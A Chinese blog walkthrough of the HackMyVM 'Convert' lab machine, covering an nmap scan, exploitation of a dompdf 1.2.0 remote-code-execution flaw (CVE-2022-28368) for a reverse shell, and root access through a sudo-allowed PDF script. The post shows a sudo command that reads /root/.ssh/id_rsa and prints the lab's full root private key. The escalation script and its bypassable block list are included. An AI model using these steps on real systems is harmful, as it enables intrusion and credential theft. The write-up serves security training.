THM Convert

最新推荐文章于 2024-11-05 11:01:09 发布

Tw0_Y

最新推荐文章于 2024-11-05 11:01:09 发布

阅读量1k

点赞数 8

分类专栏： Hackmyvm 文章标签： bash

本文链接：https://blog.csdn.net/vage__table/article/details/142715456

版权

Hackmyvm 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

简介

靶机名称：Convert

难度：简单

靶场地址：https://hackmyvm.eu/machines/machine.php?vm=Convert

参考wp：https://hgbe02.github.io/Hackmyvm/Convert.html
https://blog.csdn.net/tanbinn/article/details/138290844

本地环境

虚拟机：vmware and vituralbox（vmware网卡桥接至vituralbox网卡）
靶机：Convert 192.168.194.7
渗透机：kali linux 192.168.194.5

ps:vmware虚拟机网卡桥接至vituralbox上时，可能会出现dhcp分配不到的问题，试着先开启vituralbox再开启vmware，说不定能解决问题

扫描

常规，找ip，扫port、service
在这里插入图片描述
对应找到192.168.194.7的靶机，用nmap扫描

nmap -sT -sV -p- 192.168.194.7
-sT: tcp全连接扫描
-sV: 对扫描结果端口上的服务进一步探测

在这里插入图片描述
一般不会先从ssh入手，那么先看80端口

随手输入一个url，能够将html界面转换成pdf。那么应该就是从这个html2pdf服务下手

查资料

把pdf下下来，看看这个服务名称是什么，版本如何
在这里插入图片描述
在producer字段，显示是通过dompdf这个php插件创建的，版本是1.2.0。再google一发，找找poc。

或者searchexploit，对应的CVE-2022-28368提供的poc也就是51270.py这个。

检查dompdf路径，确实存在，确定可以尝试dompdf这个方向
在这里插入图片描述

渗透

尝试渗透，直接用这个CVE脚本应该是无法一把梭。
在这里插入图片描述
于是回去google这个CVE的原理，看看是什么地方出了问题。原理参考下面这篇文章

https://positive.security/blog/dompdf-rce

对应的，知乎上有中文版，更友好

https://zhuanlan.zhihu.com/p/633071783

CVE的点，在于服务端转换html至pdf时，会需要加载html引用的css、字体等资源文件。所以可以注入外部恶意资源文件。
同时，这个CVE的poc是针对https://github.com/positive-security/dompdf-rce项目的，和靶机请求的url有所不同，无法直接利用。
在这里插入图片描述
修改CVE脚本，成功一把梭。修改后的poc见项目https://github.com/Tw0-Y/THM/tree/main，直接用里面的dompdf脚本，就可以接到反弹shell。

提权

~~不必要的信息收集就不提。~~
sudo -l查看可用的提权命令
在这里插入图片描述
看到有个在用户home目录下的pdfgen.py脚本可以利用。简单分析这个脚本，就是会对传入url的界面转成pdf，但是对于url的格式没有过滤，只要不是本地文件开头即可，保存的目录不是/root /etc开头都可以。~~裸奔就是说~~

from os import path
from time import time
from weasyprint import HTML, CSS
from urllib.parse import urlparse
from argparse import ArgumentParser
from logging import basicConfig, INFO, error, info, exception

def prune_log(log_file, max_size=1):
    try:
        log_size = path.getsize(log_file) / (1024 * 1024)
        if log_size > max_size:
            with open(log_file, 'w'):
                pass
            info(f"Log file pruned. Size exceeded {max_size} MB.")
            print(f"Log file pruned. Size exceeded {max_size} MB.")
    except Exception as e:
        print(f"Error pruning log file: {e}")

log_file = '/home/eva/pdf_gen.log'
prune_log(log_file)
basicConfig(level=INFO, filename=log_file, filemode='a',
            format='%(asctime)s - %(levelname)s - %(message)s')

def is_path_allowed(output_path):
    blocked_directories = ["/root", "/etc"]
    for directory in blocked_directories:
        if output_path.startswith(directory):
            return False
    return True

def url_html_to_pdf(url, output_path):
    block_schemes = ["file", "data"]
    block_hosts = ["127.0.0.1", "localhost"]
    blocked_directories = ["/root", "/etc"]

    try:
        start_time = time()

        scheme = urlparse(url).scheme
        hostname = urlparse(url).hostname
        print(hostname)

        if scheme in block_schemes:
            error(f"{scheme} scheme is Blocked")
            print(f"Error: {scheme} scheme is Blocked")
            return

        if hostname in block_hosts:
            error(f"{hostname} hostname is Blocked")
            print(f"Error: {hostname} hostname is Blocked")
            return

        if not is_path_allowed(output_path):
            error(f"Output path is not allowed in {blocked_directories} directories")
            print(f"Error: Output path is not allowed in {blocked_directories} directories")
            return

        html = HTML(url.strip())
        html.write_pdf(output_path, stylesheets=[CSS(string='@page { size: A3; margin: 1cm }')])

        end_time = time()
        elapsed_time = end_time - start_time
        info(f"PDF generated successfully at {output_path} in {elapsed_time:.2f} seconds")
        print(f"PDF generated successfully at {output_path} in {elapsed_time:.2f} seconds")

    except Exception as e:
        exception(f"Error: {e}")
        print(f"Error: {e}")

if __name__ == "__main__":
    parser = ArgumentParser(description="Convert HTML content from a URL to a PDF file.")
    parser.add_argument("-U", "--url", help="URL of the HTML content to convert", required=True)
    parser.add_argument("-O", "--out", help="Output file path for the generated PDF", default="/home/eva/output.pdf")

    args = parser.parse_args()
    url_html_to_pdf(args.url, args.out)

用pdfgen.py脚本读取root用户的私钥，保存至本地，就可以直接ssh连root。

# 靶机上创建pdf文件
eva@convert:~$ sudo /usr/bin/python3 /home/eva/pdfgen.py -U /root/.ssh/id_rsa -O /var/www/html/1.pdf
PDF generated successfully at /var/www/html/1.pdf in 0.20 seconds
# 本地下载
┌──(root㉿kali)-[~/Desktop/CVE-2022-28368]
└─# wget http://192.168.194.7/1.pdf              
--2024-10-05 06:24:01--  http://192.168.194.7/1.pdf
Connecting to 192.168.194.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10635 (10K) [application/pdf]
Saving to: ‘1.pdf’

1.pdf                100%[=====================>]  10.39K  --.-KB/s    in 0s      

2024-10-05 06:24:01 (637 MB/s) - ‘1.pdf’ saved [10635/10635]

下载到本地后。
在这里插入图片描述

提取数据保存至root文件中，整理私钥最后一行的格式，并修改文件权限600。

┌──(root㉿kali)-[~/Desktop/CVE-2022-28368]
└─# cat root 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAwuT74ZxkltpDIeLfVydo0SgS+nqREGX8xfU1j8/Et0D13dLbHsPS aAVgEoDgU8/
CY5P17Lto0GouPRsjCSEEF7i8E6+0k5HOa2VCnu4wlIhDWo6xVDjhsrQuBn LUzTnU5rwUzVGH4EvZpwucdzPP8Z/
bmecJ17NETjhKfhEV9u07kiiBwZXjSYeYUUY/qCbE RJg4nKRwoR187fF2jfo7gRqCFw9LXWCUHjnQNvPqsbAAzbiG0c7Y7VjCga/
kuf12WL92G7 lFTK7BvLXlbUUVDBcbd8wiPkXTUXQsoJLWfU7uamN2vx17DWbH42PQ6Ldoo9IG9Y5Pogh1
fkJNjNLAuq3ezhqVWKuVGowRT1cQ0azjkE3y4YKoMce3ddLs+jQXgl+hncdk5WkVW/RS0p
27wx0MOPuBEiv3a5NHZew0OL8WOk+MMy4LE/coK7zumFdYUbzP2qohPzyMc/Rkpp/Pui4i
duAXaVuR5lbII+WZugD2OzbjPuRDNxu0ss0yqNZnAAAFiFbLnC5Wy5wuAAAAB3NzaC1yc2 EAAAGBAMLk+
+GcZJbaQyHi31cnaNEoEvp6kRBl/MX1NY/PxLdA9d3S2x7D0mgFYBKA4FPP
wmOT9ey7aNBqLj0bIwkhBBe4vBOvtJORzmtlQp7uMJSIQ1qOsVQ44bK0LgZy1M051Oa8FM 1Rh+BL2acLnHczz/
Gf25nnCdezRE44Sn4RFfbtO5IogcGV40mHmFFGP6gmxESYOJykcKEd
fO3xdo36O4EaghcPS11glB450Dbz6rGwAM24htHO2O1YwoGv5Ln9dli/dhu5RUyuwby15W
1FFQwXG3fMIj5F01F0LKCS1n1O7mpjdr8dew1mx+Nj0Oi3aKPSBvWOT6IIdX5CTYzSwLqt
3s4alVirlRqMEU9XENGs45BN8uGCqDHHt3XS7Po0F4JfoZ3HZOVpFVv0UtKdu8MdDDj7gR Ir92uTR2XsNDi/
FjpPjDMuCxP3KCu87phXWFG8z9qqIT88jHP0ZKafz7ouInbgF2lbkeZW
yCPlmboA9js24z7kQzcbtLLNMqjWZwAAAAMBAAEAAAGAObSMAcKJJANPAj8G6uq/xcIMUH 6u6gCQhdpzN/
gIIkxJIBtZBrRrXaJNzly7TwWCZHKAS843nBH8S9p3lrHgYNexVFDfchwn
VrQeNCmJV8k6zBrY1XucFAn2YLFqYbOAXqsMq7g6t4Yt1SCCfObp6HxxDJIUX3n0PQa8w7 PyYXDfhQiaVsO3DuPnjRT0Lyj/
TuIVTQgBUysEfP1UIXiYWsMLBqHgKi842/Q5OrQg5uia
bE75GDEbGLeBq911Jz6s4c+j7xQUe+5twaQl15dv5wh7ZAh5v7LYOVxFVnVR3kX7KqOXmE
fIqRif166x1e4QMTOUO0CqWwFbccMMmVG6fAez7D4jUQ/iDtiHELD7OEhclm7iZrRp5oH3
nGlP+l6wG2ssEpSFZI6u8FWYSJhrWcVdjURqxRWpzNnIi0oWfF2ud/Y+1W5y/x7qStdhYZ WEacCIfEQqiS2w4ZtPejTw73I/n/
vUpW+7XueGkr/FTWQvjyVok7ucVL4q+Ng6TVgdAAAA
wQCgVwiOK2Rxo4KD6vyKURe0FszrpLkSicrAu6AdS3XOz4v16a0nN1leEif4lGSRIONLso
2UEqnC3OZPKeSM+JXmm0tFYdfT1rb755BsZlySNTVh899DZJ8+OX1JC4C+vrppl/Ue98fi Y9sbg5f8xVGpQsOMsmnEhvU1/
o3kvI7JvLrx1wh/OUeWrlq2VuNfCEENQxG9OKqYQKbq4c
ywcRn27InTITqaOLbtNHziefasFMzwpbxURVo+taCmJIjhSGYAAADBAO5cicgy/Ug3XMHO xMyqu/GrhkmA1fDrqMfGy+eHDe4/
PsVGHXYpCou8p4mTP9q54yK9M22vvndCuIPcGpyM6p L3f2UijZ1uJH3EZuhldUWPJ3aAAobKnPiv5gnxGl9Aa1JZRHImOeojB/
54aUlKB6RCL96d slqM0przBaM2HUKyqWbdK5jby1gQ8F2CuDtBNXRmPNwM/hkZIalDHB70JkJs2FU06JPsTD
UqN26ZJbffqBcGoqIA1LAJzPSoIfL4HQAAAMEA0VEEa4kH/GgfDPcO2Mz2XloBGr6AJ3si 0urQbGMYhO5hs0KxzcnOw5/3/
W54oGK/lQTKkzXBx8VNsfUhvKNt0Pr4KDzNtp6wbE1DjE
xyqnjEVEgvikm+cR46awTdP93P+nH1RF8Xj4iTuHfEpZVTS8Kq3yBLpYkB/gjZ1U4IyTr3 BoG62j/
8BVupXa8NNYd2Z5EOCI8n0I9mSgHbeljNePQCJ7EZJCa1K2naUFsaZNvTb+waGe
T7JtrQ2LFUUOlTAAAADHJvb3RAY29udmVydAECAwQFBg== 
-----END OPENSSH PRIVATE KEY-----
                                                                                   
┌──(root㉿kali)-[~/Desktop/CVE-2022-28368]
└─# chmod 600 root 
                                                                                   
┌──(root㉿kali)-[~/Desktop/CVE-2022-28368]
└─# ssh root@192.168.194.7 -i root
Linux convert 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan  1 05:30:10 1970
root@convert:~#